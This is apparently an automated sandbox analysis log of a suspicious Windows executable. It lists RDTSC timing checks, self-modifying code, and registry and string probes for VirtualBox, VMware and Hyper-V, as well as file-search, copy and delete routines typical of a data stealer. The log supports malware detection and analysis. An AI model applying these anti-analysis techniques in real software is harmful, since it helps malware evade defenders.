Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0FA6 second address: 10B0FD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CC1AFD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F0C5CC1AFD9h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0FD9 second address: 10B0FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0C5DBE21D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B12EB second address: 10B1305 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0C5CC1AFD4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B82FE second address: 10B8303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8717 second address: 10B871F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B871F second address: 10B872E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 js 00007F0C5DBE21DEh 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8B03 second address: 10B8B28 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0C5CC1AFC6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0C5CC1AFD7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8CBA second address: 10B8CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8CC0 second address: 10B8CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8CC4 second address: 10B8CDA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0C5DBE21D6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F0C5DBE21D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8CDA second address: 10B8CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8CDE second address: 10B8CED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5DBE21DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8CED second address: 10B8D00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C5CC1AFCFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8D00 second address: 10B8D04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8E6B second address: 10B8EBE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0C5CC1AFD8h 0x00000008 jmp 00007F0C5CC1AFD2h 0x0000000d jns 00007F0C5CC1AFC8h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007F0C5CC1AFD3h 0x0000001b jmp 00007F0C5CC1AFD8h 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B90AE second address: 10B90C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F0C5DBE21DAh 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B90C1 second address: 10B90DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C5CC1AFD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9EEE second address: 10B9EFE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0C5DBE21D6h 0x00000008 jp 00007F0C5DBE21D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9EFE second address: 10B9F03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD895 second address: 10BD899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2CB5 second address: 10C2CBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2CBB second address: 10C2CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2E72 second address: 10C2E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0C5CC1AFC6h 0x0000000a jnp 00007F0C5CC1AFC6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2E84 second address: 10C2E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2E89 second address: 10C2EAA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0C5CC1AFCEh 0x00000008 jo 00007F0C5CC1AFC6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 push edx 0x00000011 jmp 00007F0C5CC1AFCEh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2FD5 second address: 10C2FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F0C5DBE21DCh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2FE6 second address: 10C2FED instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CFD09 second address: 10CFD1D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d jc 00007F0C5DBE21D6h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CFD1D second address: 10CFD3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C5CC1AFD1h 0x00000009 jmp 00007F0C5CC1AFCBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CFD3D second address: 10CFD4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F0C5DBE21E2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CFD4B second address: 10CFD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CFE84 second address: 10CFE9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5DBE21E1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5877 second address: 10D5898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F0C5CC1AFC6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 jno 00007F0C5CC1AFC6h 0x00000016 je 00007F0C5CC1AFC6h 0x0000001c pushad 0x0000001d popad 0x0000001e push edi 0x0000001f pop edi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5898 second address: 10D589D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D9F9B second address: 10D9F9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D9F9F second address: 10D9FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0C5DBE21E0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D9FB5 second address: 10D9FDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CC1AFCEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0C5CC1AFD2h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D9FDB second address: 10D9FE1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E3560 second address: 10E358E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C5CC1AFD5h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0C5CC1AFD2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB3BA second address: 10EB3BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB9A4 second address: 10EB9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB9AA second address: 10EB9AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB9AE second address: 10EB9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push ebx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF293 second address: 10EF297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF297 second address: 10EF29B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF415 second address: 10EF438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C5DBE21E2h 0x00000009 jmp 00007F0C5DBE21DDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF438 second address: 10EF465 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CC1AFCFh 0x00000007 jmp 00007F0C5CC1AFD2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnp 00007F0C5CC1AFD2h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0E9C second address: 10F0EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop esi 0x00000009 jnc 00007F0C5DBE21D8h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jo 00007F0C5DBE21D6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0EB9 second address: 10F0ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0C5CC1AFC6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F0C5CC1AFCDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0ED5 second address: 10F0EDB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FE599 second address: 10FE59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B0AB second address: 110B0AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D039 second address: 110D03F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D03F second address: 110D050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F0C5DBE21D6h 0x0000000c popad 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E6D2 second address: 110E6DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 je 00007F0C5CC1AFC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EE49 second address: 111EE4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EE4D second address: 111EE71 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 ja 00007F0C5CC1AFC6h 0x0000000f jg 00007F0C5CC1AFC6h 0x00000015 pop eax 0x00000016 push eax 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pop eax 0x0000001a popad 0x0000001b push ecx 0x0000001c jp 00007F0C5CC1AFCEh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111DDB2 second address: 111DDD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0C5DBE21E8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E20D second address: 111E213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E213 second address: 111E21E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0C5DBE21D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111E21E second address: 111E240 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0C5CC1AFD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c ja 00007F0C5CC1AFC6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFCAE5 second address: FFCAE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFCAE9 second address: FFCAFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C5CC1AFCDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11277BD second address: 11277C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11277C3 second address: 11277CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11277CA second address: 11277E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5DBE21E3h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11292AB second address: 11292D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jmp 00007F0C5CC1AFD9h 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11292D1 second address: 11292D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11292D6 second address: 11292DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11292DC second address: 11292E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11292E0 second address: 11292E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770357 second address: 577035B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577035B second address: 5770361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57703CB second address: 57703CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57703CF second address: 57703E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CC1AFCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57703E0 second address: 57703F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C5DBE21DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57703F0 second address: 57703F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57703F4 second address: 5770433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F0C5DBE21E9h 0x00000012 or cx, 8266h 0x00000017 jmp 00007F0C5DBE21E1h 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770433 second address: 5770438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770438 second address: 577047F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5DBE21E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F0C5DBE21E6h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov ecx, 2A53B3BDh 0x00000019 mov dx, si 0x0000001c popad 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577047F second address: 5770483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770483 second address: 5770487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770487 second address: 577048D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E917FC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E916CE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 106489D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E91721 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10C677D instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C438B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00C438B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C44910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C44910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00C3DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00C3E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C44570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00C44570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00C3ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C316D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C316D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3F68A FindFirstFileA,	0_2_00C3F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C43EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00C43EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C3F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00C3BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00C3DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C31160 GetSystemInfo,ExitProcess,

0_2_00C31160

Source: file.exe, file.exe, 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2133666234.0000000001A02000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2133666234.0000000001A34000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2133666234.0000000001A44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2133666234.00000000019BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
